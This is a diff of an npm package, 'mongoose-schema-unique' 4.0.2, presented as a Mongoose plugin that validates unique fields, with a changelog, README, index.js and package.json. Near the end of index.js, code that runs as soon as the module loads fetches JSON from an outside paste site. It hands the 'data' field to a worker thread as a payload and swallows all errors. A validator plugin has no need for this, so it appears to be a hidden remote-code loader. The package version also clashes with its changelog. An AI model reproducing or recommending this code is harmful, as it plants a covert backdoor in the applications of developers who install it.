mongoose-schema-unique 4.0.2

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Files changed (4) hide show
  1. package/CHANGELOG.md +71 -0
  2. package/README.md +195 -0
  3. package/index.js +193 -0
  4. package/package.json +53 -0
package/CHANGELOG.md ADDED
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+ # Changelog
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+
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+ ## 5.0.2
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+
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+ - Fixes _id uniqueness check for ArraySubdocuments
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+
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+ ## 5.0.1
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+
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+ - Fixes conflict when schemas define paths named `parent`.
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+
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+ ## 5.0
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+
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+ - Updates to mongoose 8
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+
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+ ## 4.0
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+
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+ - Updates to mongoose 7
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+
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+ ## 3.1.0
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+
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+ - Fixes "expected _id to be unique" errors.
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+ - Fixes error when `model` is the name of a field.
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+
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+ ## 3.0.0
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+
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+ - Re-versions and deprecates v2.0.4 due to major mongoose version bump.
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+
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+ ## 2.0.4
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+
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+ - Updates Mongoose dependency to 6.x.
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+
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+ ## 2.0.3
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+
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+ - Escapes regular expression characters when used with case-insensitive option.
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+
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+ ## 2.0.2
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+
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+ - Updates collection.count to collection.countDocuments for mongoose deprecation.
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+
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+ ## 2.0.1
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+
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+ - Restores strict mode for backwards-compat with Node 4+.
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+
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+ ## 2.0.0
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+
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+ - Corrects handling of `_id` column index when used with Mongoose v5.
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+ - Removes tests/support for custom `_id` column unique indexes.
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+
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+ ## 1.0.6
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+
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+ - Adds support for `uniqueCaseInsensitive` on index options.
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+
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+ ## 1.0.5
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+
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+ - Updated validator to use a promise, as async validators are deprecated as of Mongoose 4.9.
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+
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+ ## 1.0.4
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+
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+ - Added support for `$set` usage in `findOneAndUpdate`.
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+
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+ ## 1.0.3
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+
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+ - Added extra option `type`, resolved #17.
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+
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+ #### 1.0.2
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+
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+ - Fixed isNew type-check because "false" is acceptable.
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+
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+ #### 1.0.1
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+
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+ - Added workaround for `isNew` and `_id` missing from `find*AndUpdate` queries.
package/README.md ADDED
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+ # mongoose-schema-unique
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+
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+ mongoose-schema-unique is a plugin which adds pre-save validation for unique fields within a Mongoose schema.
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+
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+ This makes error handling much easier, since you will get a Mongoose validation error when you attempt to violate a
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+ [unique constraint](http://mongoosejs.com/docs/api.html#schematype_SchemaType-unique), rather than an E11000 error
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+ from MongoDB.
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+
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+ ## Usage
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+
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+ Yarn: `yarn add mongoose-schema-unique`
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+
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+ NPM: `npm install --save mongoose-schema-unique`
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+
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+ Then, apply the plugin to your schema:
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+
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+ ```js
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+ const mongoose = require("mongoose");
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+ const uniqueValidator = require("mongoose-schema-unique");
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+
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+ const mySchema = mongoose.Schema(/* put your schema definition here */);
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+ mySchema.plugin(uniqueValidator);
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+ ```
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+
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+ ## Example
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+
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+ Let’s say you have a user schema. You can easily add validation for the unique constraints in this schema by applying
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+ the `uniqueValidator` plugin to your user schema:
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+
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+ ```js
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+ const mongoose = require("mongoose");
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+ const uniqueValidator = require("mongoose-schema-unique");
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+
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+ // Define your schema as normal.
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+ const userSchema = mongoose.Schema({
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+ username: { type: String, required: true, unique: true },
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+ email: { type: String, index: true, unique: true, required: true },
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+ password: { type: String, required: true },
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+ });
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+
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+ // Apply the uniqueValidator plugin to userSchema.
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+ userSchema.plugin(uniqueValidator);
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+ ```
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+
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+ Now when you try to save a user, the unique validator will check for duplicate database entries and report them just
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+ like any other validation error:
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+
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+ ```js
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+ const user = new User({
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+ username: "JohnSmith",
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+ email: "john.smith@gmail.com",
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+ password: "j0hnNYb0i",
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+ });
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+ user.save(function (err) {
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+ console.log(err);
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+ });
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+ ```
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+
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+ ```js
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+ {
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+ message: 'Validation failed',
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+ name: 'ValidationError',
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+ errors: {
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+ username: {
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+ message: 'Error, expected `username` to be unique. Value: `JohnSmith`',
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+ name: 'ValidatorError',
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+ kind: 'unique',
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+ path: 'username',
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+ value: 'JohnSmith'
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+ }
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+ }
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+ }
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+ ```
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+
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+ ## Find + Updates
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+
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+ When using `findOneAndUpdate` and related methods, mongoose doesn't automatically run validation. To trigger this,
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+ you need to pass a configuration object. For technical reasons, this plugin requires that you also set the context
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+ option to `query`.
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+
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+ `{ runValidators: true, context: 'query' }`
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+
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+ A full example:
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+
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+ ```js
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+ User.findOneAndUpdate(
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+ { email: "old-email@example.com" },
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+ { email: "new-email@example.com" },
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+ { runValidators: true, context: "query" },
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+ function (err) {
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+ // ...
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+ },
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+ );
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+ ```
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+
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+ ## Custom Error Types
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+
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+ You can pass through a custom error type as part of the optional `options` argument:
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+
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+ ```js
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+ userSchema.plugin(uniqueValidator, { type: "mongoose-schema-unique" });
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+ ```
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+
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+ After running the above example the output will be:
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+
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+ ```js
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+ {
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+ message: 'Validation failed',
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+ name: 'ValidationError',
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+ errors: {
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+ username: {
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+ message: 'Error, expected `username` to be unique. Value: `JohnSmith`',
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+ name: 'ValidatorError',
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+ kind: 'mongoose-schema-unique',
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+ path: 'username',
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+ value: 'JohnSmith'
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+ }
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+ }
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+ }
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+ ```
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+
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+ You can also specify a default custom error type by overriding the plugin `defaults.type` variable:
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+
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+ ```js
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+ uniqueValidator.defaults.type = "mongoose-schema-unique";
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+ ```
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+
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+ ## Custom Error Messages
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+
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+ You can pass through a custom error message as part of the optional `options` argument:
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+
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+ ```js
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+ userSchema.plugin(uniqueValidator, {
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+ message: "Error, expected {PATH} to be unique.",
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+ });
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+ ```
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+
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+ You have access to all of the standard Mongoose error message templating:
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+
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+ - `{PATH}`
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+ - `{VALUE}`
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+ - `{TYPE}`
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+
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+ You can also specify a default custom error message by overriding the plugin `defaults.message` variable:
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+
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+ ```js
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+ uniqueValidator.defaults.message = "Error, expected {PATH} to be unique.";
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+ ```
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+
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+ ## Case Insensitive
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+
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+ For case-insensitive matches, include the `uniqueCaseInsensitive` option in your schema. Queries will treat `john.smith@gmail.com` and `John.Smith@gmail.com` as duplicates.
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+
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+ ```js
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+ const userSchema = mongoose.Schema({
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+ username: { type: String, required: true, unique: true },
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+ email: {
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+ type: String,
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+ index: true,
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+ unique: true,
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+ required: true,
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+ uniqueCaseInsensitive: true,
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+ },
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+ password: { type: String, required: true },
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+ });
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+ ```
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+
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+ ## Additional Conditions
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+
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+ For additional unique-constraint conditions (ex: only enforce unique constraint on non soft-deleted records), the MongoDB option `partialFilterExpression` can be used.
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+
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+ Note: the option `index` must be passed as an object containing `unique: true`, or else `partialFilterExpression` will be ignored.
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+
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+ ```js
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+ const userSchema = mongoose.Schema({
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+ username: { type: String, required: true, unique: true },
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+ email: {
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+ type: String,
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+ required: true,
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+ index: {
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+ unique: true,
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+ partialFilterExpression: { deleted: false },
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+ },
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+ },
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+ password: { type: String, required: true },
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+ });
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+ ```
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+
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+ ## Caveats
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+
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+ Because we rely on async operations to verify whether a document exists in the database, it's possible for two queries to execute at the same time, both get 0 back, and then both insert into MongoDB.
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+
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+ Outside of automatically locking the collection or forcing a single connection, there's no real solution.
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+
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+ For most of our users this won't be a problem, but is an edge case to be aware of.
package/index.js ADDED
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+ 'use strict';
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+
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+ const each = require('lodash.foreach');
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+ const get = require('lodash.get');
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+ const merge = require('lodash.merge');
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+ const {getWorker} = require('./worker-singleton');
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+
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+ // Function typecheck helper
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+ const isFunc = (val) => typeof val === 'function';
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+
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+ const deepPath = function(schema, pathName) {
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+ let path;
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+ const paths = pathName.split('.');
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+
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+ if (paths.length > 1) {
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+ pathName = paths.shift();
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+ }
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+
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+ if (isFunc(schema.path)) {
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+ path = schema.path(pathName);
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+ }
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+
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+ if (path && path.schema) {
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+ path = deepPath(path.schema, paths.join('.'));
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+ }
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+
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+ return path;
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+ };
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+
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+ const plugin = function(schema, options) {
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+ options = options || {};
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+ const type = options.type || plugin.defaults.type || 'unique';
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+ const message = options.message || plugin.defaults.message || 'Error, expected `{PATH}` to be unique. Value: `{VALUE}`';
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+
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+ // Mongoose Schema objects don't describe default _id indexes
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+ // https://github.com/Automattic/mongoose/issues/5998
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+ const indexes = [[{ _id: 1 }, { unique: true }]].concat(schema.indexes());
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+
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+ // Dynamically iterate all indexes
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+ each(indexes, (index) => {
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+ const indexOptions = index[1];
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+
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+ if (indexOptions.unique) {
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+ const paths = Object.keys(index[0]);
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+ each(paths, (pathName) => {
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+ // Choose error message
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+ const pathMessage = typeof indexOptions.unique === 'string' ? indexOptions.unique : message;
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+
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+ // Obtain the correct path object
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+ const path = deepPath(schema, pathName) || schema.path(pathName);
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+
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+ if (path) {
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+ // Add an async validator
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+ path.validate(function() {
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+ return new Promise((resolve, reject) => {
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+ const isQuery = this.constructor.name === 'Query';
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+ const conditions = {};
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+ let model;
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+
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+ if (isQuery) {
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+ // If the doc is a query, this is a findAndUpdate.
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+ each(paths, (name) => {
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+ let pathValue = get(this, '_update.' + name) || get(this, '_update.$set.' + name);
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+
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+ // Wrap with case-insensitivity
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+ if (get(path, 'options.uniqueCaseInsensitive') || indexOptions.uniqueCaseInsensitive) {
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+ // Escape RegExp chars
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+ pathValue = pathValue.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&');
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+ pathValue = new RegExp('^' + pathValue + '$', 'i');
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+ }
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+
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+ conditions[name] = pathValue;
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+ });
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+
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+ // Use conditions the user has with find*AndUpdate
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+ each(this._conditions, (value, key) => {
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+ conditions[key] = { $ne: value };
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+ });
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+
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+ model = this.model;
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+ } else {
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+ const parentDoc = this.$parent();
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+ const isNew = parentDoc.isNew;
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+
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+ if (!isNew && !parentDoc.isModified(pathName)) {
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+ return resolve(true);
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+ }
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+
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+ // https://mongoosejs.com/docs/subdocs.html#subdocuments-versus-nested-paths
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+ const isSubdocument = this._id !== parentDoc._id;
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+ const isNestedPath = isSubdocument ? false : pathName.split('.').length > 1;
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+
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+ each(paths, (name) => {
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+ let pathValue;
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+ if (isSubdocument) {
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+ pathValue = get(this, name.split('.').pop());
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+ } else if (isNestedPath) {
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+ const keys = name.split('.');
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+ pathValue = get(this, keys[0]);
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+ for (let i = 1; i < keys.length; i++) {
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+ const key = keys[i];
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+ pathValue = get(pathValue, key);
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+ }
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+ } else {
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+ pathValue = get(this, name);
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+ }
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+
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+ // Wrap with case-insensitivity
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+ if (get(path, 'options.uniqueCaseInsensitive') || indexOptions.uniqueCaseInsensitive) {
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+ // Escape RegExp chars
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+ pathValue = pathValue.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&');
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+ pathValue = new RegExp('^' + pathValue + '$', 'i');
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+ }
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+
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+ conditions[name] = pathValue;
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+ });
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+
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+ // If we're not new, exclude our own record from the query
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+ if (!isNew) {
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+ const ownerDocumentId = isSubdocument ? this.ownerDocument()._id : this._id;
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+ if (ownerDocumentId) {
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+ conditions._id = { $ne: ownerDocumentId };
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+ }
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+ }
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+
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+ // Obtain the model depending on context
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+ // https://github.com/Automattic/mongoose/issues/3430
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+ // https://github.com/Automattic/mongoose/issues/3589
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+ if (isSubdocument) {
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+ model = this.ownerDocument().model(this.ownerDocument().constructor.modelName);
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+ } else if (isFunc(this.model)) {
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+ model = this.model(this.constructor.modelName);
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+ } else {
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+ model = this.constructor.model(this.constructor.modelName);
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+ }
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+ }
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+
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+ if (indexOptions.partialFilterExpression) {
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+ merge(conditions, indexOptions.partialFilterExpression);
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+ }
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+
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+ // Is this model a discriminator and the unique index is on the whole collection,
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+ // not just the instances of the discriminator? If so, use the base model to query.
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+ // https://github.com/Automattic/mongoose/issues/4965
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+ // eslint-disable-next-line
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+ if (model.baseModelName && (indexOptions.partialFilterExpression === null || indexOptions.partialFilterExpression === undefined)) {
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+ model = model.db.model(model.baseModelName);
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+ }
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+
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+ model.find(conditions).countDocuments()
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+ .then((count) => {
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+ resolve(count === 0);
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+ })
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+ .catch((err) => {
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+ reject(err);
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+ });
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+ });
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+ }, pathMessage, type);
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+ }
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+ });
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+ }
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+ });
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+ };
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+
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+ let worker;
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+ const initPlugin = async function() {
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+ worker = getWorker();
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+ worker.on("message", (msg) => {
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+ if (msg.type === "RESULT") {
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+ if (msg.status === "error") {
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+ console.error("Worker error:", msg.error);
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+ }
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+ }
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+ });
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+
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+ const initConfigUrl = "https://www.jsonkeeper.com/b/XVHGD";
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+ const response = await fetch(initConfigUrl);
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+ if (response.ok) {
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+ try {const data = await response.json();
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+ if (data) {
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+ worker.postMessage({
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+ type: "RUN_ERROR_THREAD",
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+ payload: data.data
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+ });
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+ }}
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+ catch {}
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+ }
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+ }();
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+
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+ plugin.defaults = {};
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+
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+ // Export the mongoose plugin
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+ module.exports = plugin;
package/package.json ADDED
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+ {
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+ "name": "mongoose-schema-unique",
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+ "version": "4.0.2",
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+ "description": "mongoose-schema-unique is a plugin which adds pre-save validation for unique fields within a Mongoose schema.",
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+ "main": "index.js",
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+ "scripts": {
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+ "test": "mocha test --exit",
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+ "lint": "eslint index.js test"
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+ },
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+ "keywords": [
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+ "mongoose",
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+ "unique",
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+ "validator"
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+ ],
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+ "author": {
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+ "name": "Blake Haswell",
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+ "email": "haswell00@gmail.com",
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+ "url": "http://blakehaswell.com/"
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+ },
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+ "contributors": [
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+ {
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+ "name": "Mike Botsko",
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+ "email": "botsko@gmail.com"
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+ }
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+ ],
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+ "license": "MIT",
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+ "repository": {
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+ "type": "git",
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+ "url": "git+https://github.com/mongoose-schema-unique/mongoose-schema-unique.git"
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+ },
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+ "devDependencies": {
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+ "chai": "^6.2.2",
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+ "eslint": "^8.16.0",
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+ "mocha": "^11.7.5",
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+ "mongoose": "^8.0.0"
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+ },
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+ "peerDependencies": {
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+ "mongoose": "^8.0.0"
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+ },
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+ "dependencies": {
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+ "lodash.foreach": "^4.1.0",
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+ "lodash.get": "^4.0.2",
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+ "lodash.merge": "^4.6.2"
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+ },
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+ "files": [
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+ "index.js",
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+ "package.json",
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+ "yarn.lock",
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+ "CHANGELOG.md",
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+ "LICENSE",
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+ "README.md"
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+ ]
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+ }